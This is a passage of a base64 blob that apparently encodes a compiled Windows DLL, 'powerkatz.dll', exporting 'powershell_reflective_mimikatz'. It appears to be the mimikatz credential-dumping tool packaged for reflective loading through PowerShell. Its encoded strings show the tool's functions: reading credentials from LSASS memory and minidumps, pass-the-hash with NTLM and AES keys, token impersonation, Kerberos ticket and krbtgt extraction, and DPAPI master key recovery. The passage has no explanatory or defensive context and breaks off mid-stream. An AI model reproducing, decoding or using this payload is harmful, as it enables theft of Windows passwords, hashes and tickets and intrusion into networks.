AFUATQBQACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBtAGkAbgBpAGQAdQBtAHAAIAA7ACAAPABtAGkAbgBpAGQAdQBtAHAAZgBpAGwAZQAuAGQAbQBwAD4AIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAAAAAAABPAHAAZQBuAGkAbgBnACAAOgAgACcAJQBzACcAIABmAGkAbABlACAAZgBvAHIAIABtAGkAbgBpAGQAdQBtAHAALgAuAC4ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIAAhAD0AIABNAEkATQBJAEsAQQBUAFoAXwBOAFQAXwBNAEEASgBPAFIAXwBWAEUAUgBTAEkATwBOACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBQAHIAbwBjAGUAcwBzAG8AcgBBAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAJQB1ACkAIAAhAD0AIABQAFIATwBDAEUAUwBTAE8AUgBfAEEAUgBDAEgASQBUAEUAQwBUAFUAUgBFAF8ASQBOAFQARQBMACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHcAaQB0AGgAbwB1AHQAIABTAHkAcwB0AGUAbQBJAG4AZgBvAFMAdAByAGUAYQBtACAAKAA/ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASwBlAHkAIABpAG0AcABvAHIAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGcAbwBuACAAbABpAHMAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBvAGQAdQBsAGUAcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBlAG0AbwByAHkAIABvAHAAZQBuAGkAbgBnAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABIAGEAbgBkAGwAZQAgAG8AbgAgAG0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBjAGEAbAAgAEwAUwBBACAAbABpAGIAcgBhAHIAeQAgAGYAYQBpAGwAZQBkAAoAAAAAAAkAJQBzACAAOgAJAAAAAABVAG4AZABlAGYAaQBuAGUAZABMAG8AZwBvAG4AVAB5AHAAZQAAAAAAVQBuAGsAbgBvAHcAbgAgACEAAABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABOAGUAdAB3AG8AcgBrAAAAQgBhAHQAYwBoAAAAUwBlAHIAdgBpAGMAZQAAAFAAcgBvAHgAeQAAAFUAbgBsAG8AYwBrAAAAAABOAGUAdAB3AG8AcgBrAEMAbABlAGEAcgB0AGUAeAB0AAAAAABOAGUAdwBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAFUAbgBsAG8AYwBrAAAAAAAKAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAgAEkAZAAgADoAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAUwBlAHMAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAGYAcgBvAG0AIAAlAHUACgBVAHMAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBEAG8AbQBhAGkAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBMAG8AZwBvAG4AIABTAGUAcgB2AGUAcgAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAAAATABvAGcAbwBuACAAVABpAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAABTAEkARAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAFAAcgBlAHYAaQBvAHUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABLAEQAQwAgAHAAYQB0AHQAZQByAG4AIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAcgBiAHQAZwB0ACAAOwAgAEsARABDACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAoAJQBzACAAawByAGIAdABnAHQAOgAgAAAAAAAlAHUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMACgAAAAkAIAAqACAAJQBzACAAOgAgAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0ACgAAAGYAdQBsAGwAOgAgAAAAAAAKAG0ALwB1ACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAATgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAGkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAHIAdQBuAAAAeQBlAHMAAABuAG8AAAAAAHUAcwBlAHIACQA6ACAAJQBzAAoAZABvAG0AYQBpAG4ACQA6ACAAJQBzAAoAcAByAG8AZwByAGEAbQAJADoAIAAlAHMACgBpAG0AcABlAHIAcwAuAAkAOgAgACUAcwAKAAAAAABBAEUAUwAxADIAOAAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADYANAAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAE4AVABMAE0ACQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAG4AdABsAG0AIABoAGEAcwBoAC8AcgBjADQAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAIAAgAHwAIAAgAEwAVQBJAEQAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAAAAAACAAIABcAF8AIABtAHMAdgAxAF8AMAAgACAAIAAtACAAAAAAACAAIABcAF8AIABrAGUAcgBiAGUAcgBvAHMAIAAtACAAAAAAACoAKgAgAFQAbwBrAGUAbgAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AIAAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAC8AcgBjADQAIABPAFIAIABhAGUAcwAxADIAOAAgAE8AUgAgAGEAZQBzADIANQA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAbwBtAGEAaQBuAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAAAAAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoAAAAAAAoACQAgACoAIABMAE0AIAAgACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABOAFQATABNACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABTAEgAQQAxACAAIAAgACAAIAA6ACAAAAAAAAAAAAAKAAkAIAAqACAARgBsAGEAZwBzACAAIAAgACAAOgAgAEkAJQAwADIAeAAvAE4AJQAwADIAeAAvAEwAJQAwADIAeAAvAFMAJQAwADIAeAAAAAoACQAgACoAIABSAGEAdwAgAGQAYQB0AGEAIAA6ACAAAAAAAAoACQAgACoAIABTAG0AYQByAHQAYwBhAHIAZAAAAAAACgAJACAAIAAgACAAIABQAEkATgAgAGMAbwBkAGUAIAA6ACAAJQB3AFoAAAAKAAkAIAAgACAAIAAgAEMAYQByAGQAIAAgACAAIAAgADoAIAAlAHMACgAJACAAIAAgACAAIABSAGUAYQBkAGUAcgAgACAAIAA6ACAAJQBzAAoACQAgACAAIAAgACAAQwBvAG4AdABhAGkAbgBlAHIAOgAgACUAcwAKAAkAIAAgACAAIAAgAFAAcgBvAHYAaQBkAGUAcgAgADoAIAAlAHMAAAAAAAkAIAAgACAAJQBzACAAAAA8AG4AbwAgAHMAaQB6AGUALAAgAGIAdQBmAGYAZQByACAAaQBzACAAaQBuAGMAbwByAHIAZQBjAHQAPgAAAAAAJQB3AFoACQAlAHcAWgAJAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoACgAJACAAKgAgAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAAAAAATABVAEkARAAgAEsATwAKAAAAAAAKAAkAIAAqACAAUgBvAG8AdABLAGUAeQAgACAAOgAgAAAAAAAKAAkAIAAqACAARABQAEEAUABJACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAJQAwADgAeAAgADoAIAAAAAAACgAJACAAIAAgACoAIABMAFMAQQAgAEkAcwBvAGwAYQB0AGUAZAAgAEQAYQB0AGEAOgAgACUALgAqAFMAAAAAAAoACQAgACAAIAAgACAAVQBuAGsALQBLAGUAeQAgACAAOgAgAAAAAAAKAAkAIAAgACAAIAAgAEUAbgBjAHIAeQBwAHQAZQBkADoAIAAAAAAACgAJAAkAIAAgACAAUwBTADoAJQB1ACwAIABUAFMAOgAlAHUALAAgAEQAUwA6ACUAdQAAAAAAAAAKAAkACQAgACAAIAAwADoAMAB4ACUAeAAsACAAMQA6ADAAeAAlAHgALAAgADIAOgAwAHgAJQB4ACwAIAAzADoAMAB4ACUAeAAsACAANAA6ADAAeAAlAHgALAAgAEUAOgAAAAAALAAgADUAOgAwAHgAJQB4AAAAAAAKAAkAIABbACUAMAA4AHgAXQAAAGQAcABhAHAAaQBzAHIAdgAuAGQAbABsAAAAAAAJACAAWwAlADAAOAB4AF0ACgAJACAAKgAgAEcAVQBJAEQAIAAgACAAIAAgACAAOgAJAAAACgAJACAAKgAgAFQAaQBtAGUAIAAgACAAIAAgACAAOgAJAAAACgAJACAAKgAgAE0AYQBzAHQAZQByAEsAZQB5ACAAOgAJAAAACgAJACAAKgAgAHMAaABhADEAKABrAGUAeQApACAAOgAJAAAACgAJAEsATwAAAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAUwBlAHIAdgBpAGMAZQAAAEMAbABpAGUAbgB0ACAAVABpAGMAawBlAHQAIAA/AAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABUAGkAYwBrAGUAdAAAAAAACgAJAEcAcgBvAHUAcAAgACUAdQAgAC0AIAAlAHMAAAAKAAkAIAAqACAASwBlAHkAIABMAGkAcwB0ACAAOgAKAAAAAABkAGEAdABhACAAYwBvAHAAeQAgAEAAIAAlAHAAAAAAAAoAIAAgACAAXABfACAAJQBzACAAAAAAAC0APgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZQBuAHUAbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACAAIAAgAFwAXwAgACoAUABhAHMAcwB3AG8AcgBkACAAcgBlAHAAbABhAGMAZQAgAC0APgAgAAAAAABuAHUAbABsAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAACgAJACAAIAAgAEwAUwBBACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC4AJQBzAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABQcmltYXJ5AENyZWRlbnRpYWxLZXlzAAAKAAkAIABbACUAMAA4AHgAXQAgACUAWgAAAAAAZABhAHQAYQAgAGMAbwBwAHkAIABAACAAJQBwACAAOgAgAAAATwBLACAAIQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBzAHYAXwBlAG4AdQBtAF8AYwByAGUAZABfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAuAAAAAAAAAG4ALgBlAC4AIAAoAEsASQBXAEkAXwBNAFMAVgAxAF8AMABfAFAAUgBJAE0AQQBSAFkAXwBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABLAE8AKQAAAAAAAABuAC4AZQAuACAAKABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABLAE8AKQAAAHQAcwBwAGsAZwAuAGQAbABsAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAQ0NDQwAAAAAAAAAAAAAAAExMTEwAAAAAAAAAAAAAAAAXAAAAEQAAABIAAAADAAAAAAAAAAAAAAAAAAAABQAAAAAAAADldG9WAAAAAA0AAAC8AgAAZNcFAGS9BQAAAAAAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAGEAAAAAAAAAAAeLQDEAAAAAAAAAAAAAAAAAABAAAAAAAARVRXMBAAAACGDgSIKwWKuwUFAAAAAAAAAAAgAAAvAABJbnZva2VNYWluVmlhQ1JUACJNYWluIEludm9rZWQuIgACRmlsZU5hbWUAAQUFAAAAAAAAAAAgAAAuAABFeGl0TWFpblZpYUNSVAAiTWFpbiBSZXR1cm5lZC4iAAJGaWxlTmFtZQABAisATWljcm9zb2Z0LkNSVFByb3ZpZGVyABMAARpzUE/PiYJHs+Dc6MkEdroBR0NUTAAQAABfAgAALnRleHQAAABgEgAABI4DAC50ZXh0JG1uAAAAAACwAwB4BAAALmlkYXRhJDUAAAAAeLQDAAQAAAAuMDBjZmcAAHy0AwAEAAAALkNSVCRYQ0EAAAAAgLQDAAQAAAAuQ1JUJFhDWgAAAACEtAMABAAAAC5DUlQkWElBAAAAAIi0AwAMAAAALkNSVCRYSUMAAAAAlLQDAAQAAAAuQ1JUJFhJWgAAAACYtAMABAAAAC5DUlQkWFBBAAAAAJy0AwAIAAAALkNSVCRYUFgAAAAApLQDAAQAAAAuQ1JUJFhQWEEAAACotAMABAAAAC5DUlQkWFBaAAAAAKy0AwAEAAAALkNSVCRYVEEAAAAAsLQDAAQAAAAuQ1JUJFhUWgAAAADAtAMA7CECAC5yZGF0YQAAsNYFABAAAAAucmRhdGEkekVUVzAAAAAAwNYFAHcAAAAucmRhdGEkekVUVzEAAAAAN9cFACwAAAAucmRhdGEkekVUVzIAAAAAY9cFAAEAAAAucmRhdGEkekVUVzkAAAAAZNcFALwCAAAucmRhdGEkenp6ZGJnAAAAINoFAAQAAAAucnRjJElBQQAAAAAk2gUABAAAAC5ydGMkSVpaAAAAACjaBQAEAAAALnJ0YyRUQUEAAAAALNoFAAQAAAAucnRjJFRaWgAAAAAw2gUAzAQAAC54ZGF0YSR4AAAAAADfBQBfAAAALmVkYXRhAABg3wUAGAEAAC5pZGF0YSQyAAAAAHjgBQAUAAAALmlkYXRhJDMAAAAAjOAFAHgEAAAuaWRhdGEkNAAAAAAE5QUAmhYAAC5pZGF0YSQ2AAAAAAAABgAwHwAALmRhdGEAAAAwHwYAPAsAAC5ic3MAAAAAADAGAFgAAAAucnNyYyQwMQAAAABgMAYAKAIAAC5yc3JjJDAyAAAAAAAAAAAAAAAAAAAAAAAAAAD/////444AEDqPABAAAAAA/////xuQABBykAAQAAAAAP////+GkQAQ3ZEAEAAAAAD/////a1oBEMJaARAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAADN8BEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACH3wEQAAAAAP7///8AAAAA1P///wAAAAD+////aeABEIjgARAAAAAA/v///wAAAADY////AAAAAP7///9S4wEQZeMBEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAD5+gEQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAAwtAhAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAtSwCEAAAAAAAAAAAiCwCEP7///8AAAAA0P///wAAAAD+////AAAAAAMuAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA2i8CEAAAAADk////AAAAANT///8AAAAA/v///wAAAADMvwIQAAAAALS/AhDEvwIQ/v///wAAAADU////AAAAAP7///8AAAAAVMMCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAClwwIQAAAAAOT///8AAAAA1P///wAAAAD+////rsgCELLIAhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAwNUCEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADM1AIQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAC3VAhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAeNUCEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAC85gIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHvoAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAru4CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAe8AIQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAABD3AhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAvvkCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABj+wIQAAAAAP7///8AAAAAxP///wAAAAD+////AAAAAJT/AhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAqP0CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABKCwMQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAPsFAxAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAChADEAAAAADk////AAAAALT///8AAAAA/v///wAAAAAOEwMQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAGEQAxAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAzxkDEAAAAAD+////AAAAAMT///8AAAAA/v///wAAAAA7OQMQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAII7AxAAAAAA/v///wAAAADY////AAAAAP7///8JcQMQHHEDEAAAAAD+////AAAAAKj///8AAAAA/v///+ueAxD+ngMQAAAAAAAAAADkdG9WAAAAADLfBQABAAAAAQAAAAEAAAAo3wUALN8FADDfBQAmpgAAQN8FAAAAcG93ZXJrYXR6LmRsbABwb3dlcnNoZWxsX3JlZmxlY3RpdmVfbWltaWthdHoAAIzgBQAAAAAAAAAAAOjqBQAAsAMAwOEFAAAAAAAAAAAAjuwFADSxAwCM5AUAAAAAAAAAAAD67AUAALQDAMjjBQAAAAAAAAAAACztBQA8swMA1OMFAAAAAAAAAAAAAO4FAEizAwBQ5AUAAAAAAAAAAABC7gUAxLMDAPjjBQAAAAAAAAAAAIDvBQBsswMAYOQFAAAAAAAAAAAARPAFANSzAwBI5AUAAAAAAAAAAABm8AUAvLMDAIDkBQAAAAAAAAAAAJzwBQD0swMAAOIFAAAAAAAAAAAAEvEFAHSxAwA05AUAAAAAAAAAAACU8QUAqLMDAKjkBQAAAAAAAAAAAK7zBQActAMAGOIFAAAAAAAAAAAApvgFAIyxAwAAAAAAAAAAAAAAAAAAAAAAAAAAAATlBQAa5QUAKOUFADzlBQBQ5QUAYuUFAHblBQCK5QUAnuUFAK7lBQDA5QUA0uUFAOLlBQD25QUACuYFABrmBQAy5gUARuYFAF7mBQBw5gUAgOYFAIrmBQCW5gUApuYFAMLmBQDY5gUA8OYFAArnBQAe5wUALucFAD7nBQBQ5wUAYOcFAHTnBQCC5wUAlucFAK7nBQC+5wUAzucFAODnBQDw5wUAAugFABjoBQAy6AUAROgFAFToBQBq6AUAfugFAJLoBQCs6AUAwOgFANboBQDo6AUA+OgFAArpBQAo6QUARukFAGLpBQBs6QUAiOkFAKTpBQC26QUAyukFAOTpBQAG6gUAGuoFADDqBQBK6gUAauoFAHrqBQCM6gUAoOoFALjqBQDK6gUA1uoFALT4BQAAAAAADOsFACTrBQA46wUAXOsFAIDrBQCe6wUAtOsFANjrBQD26wUACOwFACDsBQBE7AUAWuwFAGrsBQD26gUAAAAAAOzwBQDU8AUAuvAFAKjwBQD88AUAAAAAAE77BQBC+wUAMvsFAB77BQAM+wUA8voFANj6BQDM+gUAwPoFAK76BQCc+gUAjPoFAHr6BQB8+wUAWvoFAEz6BQBC+gUANvoFACr6BQAU+gUA/vkFAOj5BQDa+QUAyPkFALb5BQCe+QUAhvkFAG75BQBi+QUAUPkFAEb5BQA4+QUAKvkFAB75BQD2+AUA3vgFAFz7BQBs+wUAyPgFAIz7BQBq+gUAkvgFAHb4BQBk+AUARvgFACr4BQAW+AUAAPgFAOr3BQDQ9wUAuvcFAKb3BQCU9wUAePcFAGD3BQBC9wUAMvcFABT3BQAA9wUA8vYFAOD2BQDQ9gUAtvYFAKD2BQCU9gUAuPMFAMbzBQDe8wUA6vMFAPbzBQAC9AUAEPQFABj0BQAo9AUAOvQFAEj0BQBY9AUAaPQFAID0BQCU9AUAqPQFALr0BQDI9AUA2vQFAPD0BQAC9QUAEPUFACD1BQAy9QUARvUFAFj1BQBs9QUAfPUFAIz1BQCe9QUAsPUFAMb1BQDW9QUA5vUFAPj1BQAI9gUAHvYFADT2BQBO9gUAYPYFAHL2BQCE9gUAAAAAAAjtBQAY7QUAAAAAAHDtBQA67QUAUO0FAIztBQCo7QUAuu0FAMztBQDu7QUAAAAAACbvBQA07wUATO8FAGrvBQBO7gUAau4FAITuBQCU7gUAou4FALruBQDq7gUA2u4FAMjuBQAE7wUAAAAAAHDxBQBY8QUAGvEFADrxBQAAAAAAUPAFAAAAAAAM7gUAMO4FABzuBQAAAAAA0O8FAIzvBQDs7wUADPAFAKDvBQAu8AUAuu8FAAAAAABy8AUAiPAFAAAAAACk7AUAsOwFALzsBQDO7AUA5uwFAJrsBQAAAAAASvIFAGbyBQCC8g